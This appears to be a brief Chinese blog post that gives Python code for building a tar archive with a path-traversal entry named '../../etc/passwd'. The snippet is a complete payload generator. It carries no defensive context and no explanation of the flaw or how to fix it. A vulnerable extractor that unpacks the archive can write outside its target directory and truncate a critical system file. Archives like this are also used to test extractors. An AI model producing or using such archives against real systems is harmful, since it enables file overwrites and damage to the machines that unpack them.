ConstStar
发布于 2024-08-09 / 17 阅读 / 0 评论 / 0 点赞

制作含有目录穿越攻击的tar文件

import tarfile

with tarfile.open('test.tar', 'w') as tar:
    tarinfo = tarfile.TarInfo(name='../../etc/passwd')
    tarinfo.size = 0  # 设置文件大小
    tar.addfile(tarinfo)

评论